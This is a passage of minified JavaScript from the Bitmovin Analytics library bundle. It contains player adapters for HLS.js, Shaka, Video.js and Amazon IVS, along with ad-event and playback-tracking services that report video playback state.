r.hls=t,r.getPlayerName=function(){return h.Player.HLSJS},r.getPlayerVersion=function(){return r.hls.constructor.version},r.isLive=function(){var n=r.hls,t;return!n.levels||!n.currentLevel?!1:n.currentLevel<0?!1:(t=n.levels[n.currentLevel],!(!t||!t.details)&&t.details.live)},r.onDestroying=function(){r.eventCallback(f.Event.SOURCE_UNLOADED,{});r.release()},r.resetMedia(),r.speedMeter=new v.HlsSpeedMeterAdapter(t,new o.DownloadSpeedMeter).getDownloadSpeedMeter(),r}return e(t,n),Object.defineProperty(t.prototype,"downloadSpeedInfo",{get:function(){return this.speedMeter.getInfo()},enumerable:!1,configurable:!0}),t.prototype.initialize=function(t){return n.prototype.initialize.call(this,t),this.registerHlsEvents(),[new l.ErrorDetailTracking(t.errorDetailTrackingSettingsProvider,new c.ErrorDetailBackend(t.errorDetailTrackingSettingsProvider.collectorConfig),[t.errorDetailSubscribable],void 0)]},t.prototype.clearValues=function(){this.speedMeter.reset()},t.prototype.getCurrentQualityLevelInfo=function(){if(!this.hls.levels)return null;var n=this.hls.levels[this.hls.currentLevel];return n?{bitrate:n.bitrate,width:n.width,height:n.height}:null},t.prototype.getMIMEType=function(){return s.MIMETypes.HLS},t.prototype.getStreamURL=function(){return this.hls.url},t.prototype.registerHlsEvents=function(){this.hls.on("hlsMediaAttaching",this.onMediaAttaching.bind(this));this.hls.on("hlsMediaDetaching",this.onMediaDetaching.bind(this));this.hls.on("hlsManifestLoading",this.onManifestLoading.bind(this));this.hls.on("hlsAudioTrackSwitched",this.onAudioTrackSwitched.bind(this));this.hls.on("hlsSubtitleTrackSwitch",this.onSubtitleLanguageSwitched.bind(this));this.hls.on("hlsDestroying",this.onDestroying.bind(this));this.hls.on("hlsError",this.onHlsError.bind(this));this.hls.media&&(this.onMediaAttaching(),this.onManifestLoading())},t.prototype.onMediaAttaching=function(){this.mediaElement||(this.mediaElement=this.hls.media,this.registerMediaElement(),this.onMaybeReady())},t.prototype.onMediaDetaching=function(){this.unregisterMediaElement()},t.prototype.onManifestLoading=function(){this.onMaybeReady()},t.prototype.getCurrentPlaybackInfo=function(){var t=this.getSelectedSubtitleLanguage();return u(u({},n.prototype.getCurrentPlaybackInfo.call(this)),{audioLanguage:this.getSelectedAudioLanguage(),subtitleEnabled:null!=t?t.enabled:void 0,subtitleLanguage:null!=t?t.language:void 0})},t.prototype.onHlsError=function(n,t){var i,r,u;(!t||t.fatal)&&(i=this.mediaElement,r=void 0,null!=i&&(r=i.currentTime),u=null!=t?"".concat(t.type,": ").concat(t.details):void 0,this.eventCallback(f.Event.ERROR,{currentTime:r,code:this.getErrorCodeFromHlsErrorType(t.type),message:u,data:{}}))},t.prototype.onAudioTrackSwitched=function(){var n,t=this.mediaElement;null!=t&&(n=t.currentTime);this.eventCallback(f.Event.AUDIOTRACK_CHANGED,{currentTime:n})},t.prototype.onSubtitleLanguageSwitched=function(){var n,t=this.mediaElement;null!=t&&(n=t.currentTime);this.eventCallback(f.Event.SUBTITLE_CHANGE,{currentTime:n})},t.prototype.getErrorCodeFromHlsErrorType=function(n){switch(n){case"networkError":return 2;case"mediaError":return 3;case"keySystemError":return 4;case"muxError":return 5;default:return 1}},t.prototype.getSelectedAudioLanguage=function(){if(!(null==this.hls.audioTrack||this.hls.audioTrack<0))return this.hls.audioTracks[this.hls.audioTrack].lang},t.prototype.getSelectedSubtitleLanguage=function(){var t,n;return null!=this.hls.subtitleDisplay?(t=this.hls.subtitleTrack>=0&&!0===this.hls.subtitleDisplay,{enabled:t,language:t?this.hls.subtitleTracks[this.hls.subtitleTrack].lang:void 0}):(n=this.hls.subtitleTrackController,null!=n&&null!=n.media?this.getSelectedSubtitleFromMediaElement(n.media):void 0)},t}(a.HTML5InternalAdapter);t.HlsInternalAdapter=y},5003:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.HlsSpeedMeterAdapter=void 0;var i=function(){function n(n,t){var i=this;this.meter=t;n.on(n.constructor.Events.FRAG_LOADED,function(n,t){return i.handleFragmentLoadedEvent(t)})}return n.prototype.getDownloadSpeedMeter=function(){return this.meter},n.prototype.handleFragmentLoadedEvent=function(n){var i;if("main"===n.frag.type&&(i=null!=n.networkDetails?n.networkDetails.status:void 0,null!=i)){var t=n.frag.stats,r=(t.loading.end-t.loading.start)/1e3,u=(t.loading.first-t.loading.start)/1e3,f={duration:r,size:t.total,timeToFirstByte:u,timestamp:new Date,httpStatus:i};this.meter.addMeasurement(f)}},n}();t.HlsSpeedMeterAdapter=i},9782:function(n,t,i){"use strict";var r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.InternalAdapter=void 0;var u=i(3382),o=i(415),f=i(4057),s=i(3318),h=i(6767),e=i(1700),c=i(3068),l=function(){function n(n){var t=this;this.stateMachineCallbacks=r({},s.defaultStateMachineCallbacks);this.qualityChangeService=new o.default;this._onLicenseKeyReceived=new u.EventDispatcher;this._onLicenseCallFailed=new u.EventDispatcher;this.drmPerformanceInfo=void 0;this._windowEventTracker=new c.WindowEventTracker;this.eventCallback=function(n,i){i=i||{};t.stateMachine?t.stateMachine.callEvent(n,i,e.getCurrentTimestamp()):h.logger.log("Bitmovin Analytics: StateMachine isn't ready yet")};n||(n={starttime:void 0});n.starttime||(n.starttime=e.getCurrentTimestamp());this.opts=n}return Object.defineProperty(n.prototype,"windowEventTracker",{get:function(){return this._windowEventTracker},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"onLicenseKeyReceived",{get:function(){return this._onLicenseKeyReceived},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"onLicenseCallFailed",{get:function(){return this._onLicenseCallFailed},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"downloadSpeedInfo",{get:function(){return{segmentsDownloadCount:0,segmentsDownloadSize:0,segmentsDownloadTime:0,avgDownloadSpeed:0,minDownloadSpeed:0,maxDownloadSpeed:0,avgTimeToFirstByte:0}},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"segments",{get:function(){return[]},enumerable:!1,configurable:!0}),n.prototype.release=function(){this.stateMachine.resetIntervals();this.stateMachineCallbacks.release();this.resetSourceRelatedState();this._windowEventTracker.release()},n.prototype.getCommonPlaybackInfo=function(){var n=1;return window.devicePixelRatio>0&&(n=window.devicePixelRatio),{screenHeight:window.screen.height*n,screenWidth:window.screen.width*n}},n.prototype.clearValues=function(){},n.prototype.clearSegments=function(){},n.prototype.resetSourceRelatedState=function(){this.drmPerformanceInfo=void 0},n.prototype.setCustomData=function(n){var t=this.stateMachine.currentState;!this.stateMachine.currentState||"PAUSE"!==this.stateMachine.currentState&&"PLAYING"!==this.stateMachine.currentState?this.stateMachineCallbacks.customdatachange(void 0,void 0,{values:n}):(this.eventCallback(f.Event.CUSTOM_DATA_CHANGE,{currentTime:this.currentTime}),this.eventCallback(f.Event[t],{values:n,currentTime:this.currentTime}))},n.prototype.isAudioMuted=function(n,t){return n||t<.01},n}();t.InternalAdapter=l},4102:function(n,t,i){"use strict";var r,u=this&&this.__extends||(r=function(n,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},r(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");r(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)});Object.defineProperty(t,"__esModule",{value:!0});t.ShakaInternalAdapter=void 0;var f=i(4057),e=i(9624),o=i(6473),s=i(8458),h=i(3909),c=i(6767),l=function(n){function t(t,i){var r=n.call(this,t.getMediaElement(),i)||this;return r.player=t,r.getPlayerName=function(){return o.Player.SHAKA},r.getPlayerVersion=function(){return r.player.constructor.version},r.isLive=function(){return!!r.player&&r.player.isLive()},r.onUnloading=function(){r.eventCallback(f.Event.SOURCE_UNLOADED,{});r.release()},r}return u(t,n),t.prototype.initialize=function(t){var i,r=this,u;n.prototype.initialize.call(this,t);try{i=this.player.getMediaElement()}catch(n){}return null==i?(u=function(n){if("media-source"===n.state)try{r.player.removeEventListener("onstatechange",u);i=r.player.getMediaElement();r.setMediaElement(i)}catch(n){c.logger.errorMessageToUser("Something went wrong while getting underlying HTMLVideoElement. Not possible to attach adapter and initialize Bitmovin Analytics. Error: ",n);r.release()}},this.player.addEventListener("onstatechange",u),this.player.addEventListener("unloading",this.onUnloading.bind(this))):this.setMediaElement(i),[new h.ErrorDetailTracking(t.errorDetailTrackingSettingsProvider,new s.ErrorDetailBackend(t.errorDetailTrackingSettingsProvider.collectorConfig),[t.errorDetailSubscribable],void 0)]},t.prototype.getMIMEType=function(){return e.MIMETypes.DASH},t.prototype.getStreamURL=function(){return this.player?this.player.getAssetUri():null},t.prototype.getCurrentQualityLevelInfo=function(){var n=this.player.getVariantTracks().filter(function(n){return n.active}).filter(function(n){return n.videoCodec||void 0!==n.videoId})[0];return n?{bitrate:n.videoBandwidth||n.bandwidth,width:n.width,height:n.height}:null},t}(i(3434).HTML5InternalAdapter);t.ShakaInternalAdapter=l},6038:function(n,t,i){"use strict";var f,h=this&&this.__extends||(f=function(n,t){return f=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},f(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");f(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}),u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.VideojsInternalAdapter=void 0;var c=i(5918),l=i(5939),o=i(6443),r=i(4057),a=i(9624),v=i(6473),s=i(2108),y=i(5001),p=i(8458),w=i(3909),b=i(2033),k=i(9065),e=i(9941),d=function(n){function t(t,i){var r=n.call(this,i)||this;return r._subtitleInfo={enabled:!1},r.onBeforeUnLoadEvent=!1,r.previousTime=0,r.getPlayerVersion=function(){var f,t,i,u=null===(t=(f=r.player).version)||void 0===t?void 0:t.call(f)["video.js"],n;return e.isValidString(u)&&!e.isBlank(u)?u:(n=null===(i=window.videojs)||void 0===i?void 0:i.VERSION,e.isValidString(n)&&!e.isBlank(n)?n:"unknown")},r.getPlayerName=function(){return v.Player.VIDEOJS},r.getPlayerTech=function(){return"html5"},r.getAutoPlay=function(){return!0===r.player.autoplay()},r.getDrmPerformanceInfo=function(){return r.drmPerformanceInfo},r.player=t,r.stateMachine=new c.VideojsAnalyticsStateMachine(r.stateMachineCallbacks,r.opts),r.videoCompletionTracker=new l.default,r}return h(t,n),t.prototype.initialize=function(n){return this.register(),[new w.ErrorDetailTracking(n.errorDetailTrackingSettingsProvider,new p.ErrorDetailBackend(n.errorDetailTrackingSettingsProvider.collectorConfig),[n.errorDetailSubscribable],void 0)]},t.prototype.getStreamType=function(n){var r,t,i=a.getMIMETypeFromFileExtension(n);if(i||(i=null===(t=(r=this.player).currentType)||void 0===t?void 0:t.call(r)))return y.getStreamTypeFromMIMEType(i)},t.prototype.getStreamSources=function(n){switch(this.getStreamType(n)){case"hls":return{m3u8Url:n};case"dash":return{mpdUrl:n};default:return{progUrl:n}}},t.prototype.getCurrentPlaybackInfo=function(){this.selectedAudioLanguage=this.getSelectedAudioTrackLanguage(this.player);var t=this.getCodecInfo(this.player.tech({IWillNotUseThisInPlugins:!0})),n=u(u(u({},this.getCommonPlaybackInfo()),this.getStreamSources(this.player.currentSrc())),{streamFormat:this.getStreamType(this.player.currentSrc()),isLive:this.player.duration()===1/0,size:this.player.isFullscreen()?s.PlayerSize.Fullscreen:s.PlayerSize.Window,playerTech:this.getPlayerTech(),isMuted:this.player.muted(),videoDuration:b.normalizeVideoDuration(this.player.duration()),videoWindowHeight:this.player.height(),videoWindowWidth:this.player.width(),videoPlaybackHeight:this.player.videoHeight(),videoPlaybackWidth:this.player.videoWidth(),audioLanguage:this.selectedAudioLanguage,subtitleEnabled:this._subtitleInfo.enabled,subtitleLanguage:this._subtitleInfo.language,videoCodec:null==t?void 0:t.videoCodec,audioCodec:null==t?void 0:t.audioCodec,droppedFrames:0}),i=this.getCurrentQualityLevelInfo();return i&&(n.videoPlaybackWidth=i.width||n.videoPlaybackWidth,n.videoPlaybackWidth=i.height||n.videoPlaybackHeight,n.videoBitrate=i.bitrate),n},t.prototype.getCurrentQualityLevelInfo=function(){return null},t.prototype.register=function(){var t=this,n=this,i;this.player.on("loadstart",function(){n.eventCallback(r.Event.MANUAL_SOURCE_CHANGE,{config:{}})});this.player.on("loadedmetadata",function(){n.videoCompletionTracker.reset();n.videoCompletionTracker.setVideoDuration(this.duration());n.previousTime=0;n.eventCallback(r.Event.SOURCE_LOADED,{})});this.player.ready(function(){n._subtitleInfo=n.getSubtitleInfo(this);n.eventCallback(r.Event.READY,{})});this.player.on("play",function(){n.eventCallback(r.Event.PLAY,{currentTime:this.currentTime()})});this.player.on("pause",function(){this.seeking()||n.eventCallback(r.Event.PAUSE,{currentTime:this.currentTime()})});this.player.on("error",function(){var t=this.error();n.eventCallback(r.Event.ERROR,{currentTime:this.currentTime(),code:t.code,message:t.message,data:{}})});this.player.on("volumechange",function(){var i=this.muted(),u=this.volume(),t=n.isAudioMuted(i,u);this.previousMutedValue!==t&&(t?n.eventCallback(r.Event.MUTE,{currentTime:this.currentTime()}):n.eventCallback(r.Event.UN_MUTE,{currentTime:this.currentTime()}),this.previousMutedValue=t)});this.player.on("seeking",function(){n.eventCallback(r.Event.SEEK,{currentTime:null!=n.previousTime?n.previousTime:this.currentTime()})});this.player.on("seeked",function(){n.eventCallback(r.Event.SEEKED,{currentTime:this.currentTime()})});this.player.on("texttrackchange",function(){var t=n.getSubtitleInfo(this),i=null==n._subtitleInfo||k.isDifferentSubtitleInfo(n._subtitleInfo,t);n._subtitleInfo=t;i&&n.eventCallback(r.Event.SUBTITLE_CHANGE,{currentTime:this.currentTime()})});this.player.audioTracks().on("change",function(){var t=n.getSelectedAudioTrackLanguage(n.player);null!=t&&t!==n.selectedAudioLanguage&&n.eventCallback(r.Event.AUDIOTRACK_CHANGED,{currentTime:n.player.currentTime()})});this.player.on("stalled",function(){n.eventCallback(r.Event.START_BUFFERING,{currentTime:this.currentTime()})});this.player.on("waiting",function(){n.eventCallback(r.Event.START_BUFFERING,{currentTime:this.currentTime()})});this.player.on("timeupdate",function(){var i,t,u;if(this.seeking()||(n.previousTime=this.currentTime()),n.eventCallback(r.Event.TIMECHANGED,{currentTime:this.currentTime()}),i=this.tech({IWillNotUseThisInPlugins:!0}),i.vhs||i.hls){if(t=n.getMediaAttributes(i),!t||!t.bitrate)return;n.qualityChangeService.shouldAllowVideoQualityChange(t.bitrate)&&(u={width:t.width,height:t.height,bitrate:t.bitrate,currentTime:this.currentTime()},n.eventCallback(r.Event.VIDEO_CHANGE,u),n.qualityChangeService.setVideoBitrate(t.bitrate))}});i=function(){if(!t.onBeforeUnLoadEvent){t.onBeforeUnLoadEvent=!0;var n=void 0;null!=t.player&&(n=t.player.currentTime());t.eventCallback(r.Event.UNLOAD,{currentTime:n})}t.release()};i=i.bind(this);this.player.on("dispose",i);this.windowEventTracker.addEventListener("beforeunload",i);this.windowEventTracker.addEventListener("unload",i)},t.prototype.sourceChange=function(n,t){this.videoCompletionTracker.reset();this.videoCompletionTracker.setVideoDuration(this.player.duration());this.previousTime=0;this.stateMachine.sourceChange(n,t,this.player.currentTime())},Object.defineProperty(t.prototype,"currentTime",{get:function(){return this.player.currentTime()},enumerable:!1,configurable:!0}),t.prototype.getSelectedAudioTrackLanguage=function(n){for(var r,t=0,i=n.audioTracks();t<i.length;t++)if(r=i[t],r.enabled)return r.language},t.prototype.getSubtitleInfo=function(n){for(var i,r,u=!1,t=0,f=n.textTracks()||[];t<f.length;t++)if(i=f[t],"showing"===i.mode){u=!0;r=i.language;break}return{enabled:u,language:r}},t.prototype.getMediaAttributes=function(n){var i,r,t;if(n&&(n.vhs?i=n.vhs:n.hls&&(i=n.hls),i&&i.playlists&&"function"==typeof i.playlists.media)&&(r=i.playlists.media(),r&&(t=r.attributes,t&&0!==Object.keys(t).length)))return{bitrate:t.BANDWIDTH,width:(t.RESOLUTION||{}).width,height:(t.RESOLUTION||{}).height,codecs:t.CODECS}},t.prototype.getCodecInfo=function(n){var i=this.getMediaAttributes(n),t;if(i&&i.codecs&&(t=i.codecs.split(","),t))return{videoCodec:t.find(function(n){return o.isVideoCodec(n)}),audioCodec:t.find(function(n){return o.isAudioCodec(n)})}},t}(i(9782).InternalAdapter);t.VideojsInternalAdapter=d},4334:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.AdCallbacks=void 0;t.AdCallbacks=function(){this.onAdStarted=function(){};this.onAdFinished=function(){};this.onAdBreakStarted=function(){};this.onAdBreakFinished=function(){};this.onAdClicked=function(){};this.onAdError=function(){};this.onAdManifestLoaded=function(){};this.onAdQuartile=function(){};this.onAdSkipped=function(){};this.onPlay=function(){};this.onPause=function(){};this.onBeforeUnload=function(){}}},1078:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.Bitmovin8AdModule=void 0;var r=i(4334),u=function(){function n(n,t){var i=this;this.player=n;this.windowEventTracker=t;this.adCallbacks=new r.AdCallbacks;this.isLinearAdActive=function(){return i.player.ads&&i.player.ads.isLinearAdActive()||!1};this.getContainer=function(){return i.player.getContainer()};this.getAdModuleInfo=function(){return i.player.ads?i.player.ads.getModuleInfo():{name:void 0,version:void 0}};this.currentTime=function(){return i.player.getCurrentTime()};this.register()}return n.prototype.register=function(){var n=this,t;this.player.on(this.player.exports.PlayerEvent.Play,function(t){"advertising-api"===t.issuer&&n.adCallbacks.onPlay(t.issuer)});this.player.on(this.player.exports.PlayerEvent.Paused,function(t){"advertising-api"===t.issuer&&n.adCallbacks.onPause(t.issuer)});this.player.on(this.player.exports.PlayerEvent.AdStarted,function(t){n.adCallbacks.onAdStarted(t)});this.player.on(this.player.exports.PlayerEvent.AdFinished,function(t){n.adCallbacks.onAdFinished(t)});this.player.on(this.player.exports.PlayerEvent.AdBreakStarted,function(t){n.adCallbacks.onAdBreakStarted(t)});this.player.on(this.player.exports.PlayerEvent.AdBreakFinished,function(t){n.adCallbacks.onAdBreakFinished(t)});this.player.on(this.player.exports.PlayerEvent.AdClicked,function(t){n.adCallbacks.onAdClicked(t)});this.player.on(this.player.exports.PlayerEvent.AdQuartile,function(t){n.adCallbacks.onAdQuartile(t)});this.player.on(this.player.exports.PlayerEvent.AdSkipped,function(t){n.adCallbacks.onAdSkipped(t)});this.player.on(this.player.exports.PlayerEvent.AdError,function(t){n.adCallbacks.onAdError(t)});this.player.on(this.player.exports.PlayerEvent.AdManifestLoaded,function(t){n.adCallbacks.onAdManifestLoaded(t)});t=function(){n.adCallbacks.onBeforeUnload()};this.windowEventTracker.addEventListener("beforeunload",t);this.windowEventTracker.addEventListener("unload",t)},n}();t.Bitmovin8AdModule=u},3159:function(n,t,i){"use strict";var u,e=this&&this.__extends||(u=function(n,t){return u=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},u(n,t)},function(n,t){function i(){this.constructor=n}if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");u(n,t);n.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}),r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.AmazonIVSInternalAdapter=void 0;var o=i(7659),s=i(978),h=i(6473),f=i(2108),c=i(5001),l=i(2033),a=i(1700),v=i(9782),y=i(6009),p=i(8977),w=i(6279),b=i(1976),k=i(4163),d=function(n){function t(t,i,r){var u=n.call(this,r)||this;u.player=t;u.sourceUrlProvider=i;u.supportsDeferredLicenseLoading=!1;u.getPlayerVersion=function(){return u.player.getVersion()};u.getPlayerName=function(){return h.Player.AMAZON_IVS};u.getPlayerTech=function(){return"html5"};u.getAutoPlay=function(){return u.player.isAutoplay()};u.getDrmPerformanceInfo=function(){};var f=new p.AmazonIVSPlayerContext(t),e=new s.HeartbeatService(59700,f),c=new o.AmazonIVSStateMachine(u.stateMachineCallbacks,e,u.opts);return e.setListener(c),u.stateMachine=c,u.listener=w.AmazonIVSPlayerEventListener.create(u,f,u.qualityChangeService),u.playerStatisticsProvider=new y.default(t.getHTMLVideoElement()),u.windowEventListener=new k.WindowEventListener(u.windowEventTracker,u,f),u}return e(t,n),t.prototype.initialize=function(){var n=this;return this.listener.startMonitoring(this.player),this.windowEventListener.startMonitoring(),b.default.RELEASE.subscribe(function(){n.release()}),[]},Object.defineProperty(t.prototype,"currentTime",{get:function(){return this.player.getPosition()},enumerable:!1,configurable:!0}),t.prototype.resetSourceRelatedState=function(){this.drmPerformanceInfo=void 0;this.playerStatisticsProvider.reset()},t.prototype.getCurrentPlaybackInfo=function(){var n=this.player.getHTMLVideoElement();return r(r(r({droppedFrames:this.playerStatisticsProvider.getDroppedFrames(),isLive:this.player.getDuration()===1/0,isMuted:this.player.isMuted(),playerTech:this.getPlayerTech(),videoWindowWidth:n.clientWidth,videoWindowHeight:n.clientHeight,videoPlaybackHeight:n.videoHeight,videoPlaybackWidth:n.videoWidth,videoBitrate:this.player.getQuality().bitrate,videoDuration:l.normalizeVideoDuration(this.player.getDuration()),size:a.isVideoInFullscreen()?f.PlayerSize.Fullscreen:f.PlayerSize.Window},this.getVideoAndAudioCodecs()),this.getCommonPlaybackInfo()),{streamFormat:c.StreamTypes.hls,m3u8Url:this.sourceUrlProvider.m3u8Url})},t.prototype.sourceChange=function(){throw new Error("Method not implemented.");},t.prototype.getVideoAndAudioCodecs=function(){var n=this.player.getQuality().codecs.split(",");return 2==n.length?{videoCodec:n[0],audioCodec:n[1]}:{}},t}(v.InternalAdapter);t.AmazonIVSInternalAdapter=d},6872:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.ErrorService=void 0;var r=i(4057),u=function(){function n(n,t){this.dispatcher=n;this.playerContext=t}return n.prototype.onError=function(n){var t={currentTime:this.playerContext.position,code:n.code,message:n.message,data:{exceptionMessage:n.message,exceptionStacktrace:[n.source]}};this.dispatcher.eventCallback(r.Event.ERROR,t)},n}();t.ErrorService=u},7222:function(n,t,i){"use strict";var r,u,f;Object.defineProperty(t,"__esModule",{value:!0});t.PauseEventDispatcher=void 0;u=i(4057);!function(n){n[n.IDLE=0]="IDLE";n[n.PAUSE_SCHEDULED=1]="PAUSE_SCHEDULED";n[n.PAUSE_CANCELLED=2]="PAUSE_CANCELLED"}(r||(r={}));f=function(){function n(n,t){this.dispatcher=n;this.playerContext=t;this.EVENT_DELAY_MS=10;this.state=r.IDLE}return n.prototype.cancelPause=function(){this.state==r.PAUSE_SCHEDULED&&(this.state=r.PAUSE_CANCELLED)},n.prototype.schedulePauseEvent=function(){var n=this,t;this.state!=r.PAUSE_SCHEDULED&&(this.state=r.PAUSE_SCHEDULED,t={currentTime:this.playerContext.position},setTimeout(function(){n.triggerPause(t);n.state=r.IDLE},this.EVENT_DELAY_MS,this))},n.prototype.triggerPause=function(n){this.state!=r.PAUSE_CANCELLED&&this.dispatcher.eventCallback(u.Event.PAUSE,n)},n}();t.PauseEventDispatcher=f},2772:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.PlaybackService=void 0;var r=i(4057),u=i(7222),f=function(){function n(n,t,i,r){this.dispatcher=n;this.playerContext=t;this.pauseDispatcher=i;this.qualityChangeService=r;this.ignorePause=!1}return n.prototype.onStartupPlaying=function(){var n=this;this.ignorePause=!0;setTimeout(function(){n.ignorePause=!1},100)},n.prototype.onPause=function(){this.ignorePause||this.pauseDispatcher.schedulePauseEvent()},n.prototype.onPlaying=function(){this.pauseDispatcher.cancelPause();this.playing()},n.prototype.onRebuffering=function(){this.pauseDispatcher.cancelPause();this.startBuffering()},n.prototype.onQualityChange=function(n){this.qualityChange(n)},n.prototype.onSeek=function(){this.seek()},n.prototype.onSeeked=function(){this.seeked()},n.prototype.startBuffering=function(){var n=this.playerContext.position;this.dispatcher.eventCallback(r.Event.START_BUFFERING,{currentTime:n})},n.prototype.playing=function(){var n=this.playerContext.position;this.dispatcher.eventCallback(r.Event.PLAYING,{currentTime:n})},n.prototype.qualityChange=function(n){if(this.qualityChangeService.shouldAllowVideoQualityChange(n.bitrate)){this.qualityChangeService.setVideoBitrate(n.bitrate);var t=this.playerContext.position;this.dispatcher.eventCallback(r.Event.VIDEO_CHANGE,{currentTime:t})}},n.prototype.seek=function(){if(!this.playerContext.isLive){this.pauseDispatcher.cancelPause();var n=this.playerContext.position;this.dispatcher.eventCallback(r.Event.SEEK,{currentTime:n})}},n.prototype.seeked=function(){if(!this.playerContext.isLive){this.pauseDispatcher.cancelPause();var n=this.playerContext.position;this.dispatcher.eventCallback(r.Event.SEEKED,{currentTime:n})}},n.create=function(t,i,r){return new n(t,i,new u.PauseEventDispatcher(t,i),r)},n}();t.PlaybackService=f},1660:function(n,t,i){"use strict";var r,u,f;Object.defineProperty(t,"__esModule",{value:!0});t.VideoStartupService=void 0;u=i(4057);!function(n){n[n.SETUP=0]="SETUP";n[n.IDLE=1]="IDLE";n[n.STARTUP=2]="STARTUP";n[n.STARTUP_FINISHED=3]="STARTUP_FINISHED"}(r||(r={}));f=function(){function n(n,t){this.dispatcher=n;this.playerContext=t;this.state=r.SETUP}return Object.defineProperty(n.prototype,"finishedStartup",{get:function(){return this.state==r.STARTUP_FINISHED},enumerable:!1,configurable:!0}),n.prototype.onInitialized=function(){this.finishSetup()},n.prototype.onPlay=function(){this.startStartup()},n.prototype.onPlaying=function(){this.finishStartup()},n.prototype.finishSetup=function(){this.state=r.IDLE;var n=this.playerContext.position;this.dispatcher.eventCallback(u.Event.READY,{currentTime:n})},n.prototype.startStartup=function(){if(this.state==r.IDLE){this.state=r.STARTUP;var n=this.playerContext.position;this.dispatcher.eventCallback(u.Event.PLAY,{currentTime:n})}},n.prototype.finishStartup=function(){if(this.state==r.STARTUP){this.state=r.STARTUP_FINISHED;var n=this.playerContext.position;this.dispatcher.eventCallback(u.Event.PLAYING,{currentTime:n})}},n}();t.VideoStartupService=f},8977:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.AmazonIVSPlayerContext=void 0;var i=function(){function n(n){this.player=n}return Object.defineProperty(n.prototype,"position",{get:function(){return this.player.getPosition()},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"isLive",{get:function(){return this.player.getDuration()===1/0},enumerable:!1,configurable:!0}),n}();t.AmazonIVSPlayerContext=i},5004:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.AmazonIVSPlayerEventHandler=void 0;var r=i(6767),u=i(6872),f=i(2772),e=i(1660),o=function(){function n(n,t,i){this.videoStartupService=n;this.playbackService=t;this.errorService=i}return n.prototype.onRebuffering=function(){r.logger.log("onRebuffering");this.playbackService.onRebuffering()},n.prototype.onDurationChanged=function(n){r.logger.log("onDurationChanged: "+n)},n.prototype.onError=function(n){r.logger.log("onError: "+n);this.errorService.onError(n)},n.prototype.onInitialized=function(){r.logger.log("onInitialized");this.videoStartupService.finishedStartup||this.videoStartupService.onInitialized()},n.prototype.onQualityChanged=function(n){r.logger.log("onQualityChanged: "+n);this.videoStartupService.finishedStartup&&this.playbackService.onQualityChange(n)},n.prototype.onTimeUpdate=function(n){r.logger.log("onTimeUpdate: "+n)},n.prototype.onPlay=function(n){this.videoStartupService.finishedStartup?r.logger.log("onPlay:",n):this.videoStartupService.onPlay()},n.prototype.onPause=function(n){this.videoStartupService.finishedStartup&&(r.logger.log("onPause:",n),this.playbackService.onPause())},n.prototype.onPlaying=function(n){r.logger.log("onPlaying:",n);this.videoStartupService.finishedStartup?this.playbackService.onPlaying():(this.videoStartupService.onPlaying(),this.playbackService.onStartupPlaying())},n.prototype.onSeek=function(){this.videoStartupService.finishedStartup&&this.playbackService.onSeek()},n.prototype.onSeeked=function(){this.videoStartupService.finishedStartup&&this.playbackService.onSeeked()},n.create=function(t,i,r){return new n(new e.VideoStartupService(t,i),f.PlaybackService.create(t,i,r),new u.ErrorService(t,i))},n}();t.AmazonIVSPlayerEventHandler=o},6279:function(n,t,i){"use strict";var r,u;Object.defineProperty(t,"__esModule",{value:!0});t.AmazonIVSPlayerEventListener=t.IVS_PLAYER_EVENT=void 0;r=i(5004);t.IVS_PLAYER_EVENT={DURATION_CHANGED:"PlayerDurationChanged",ERROR:"PlayerError",INITIALIZED:"PlayerInitialized",QUALITY_CHANGED:"PlayerQualityChanged",REBUFFERING:"PlayerRebuffering",SEEK_COMPLETED:"PlayerSeekCompleted",TIME_UPDATE:"PlayerTimeUpdate",PLAYBACK_RATE_CHANGED:"PlayerPlaybackRateChanged",PLAYBACK_BLOCKED:"PlayerPlaybackBlocked"};u=function(){function n(n){this.eventHandler=n}return 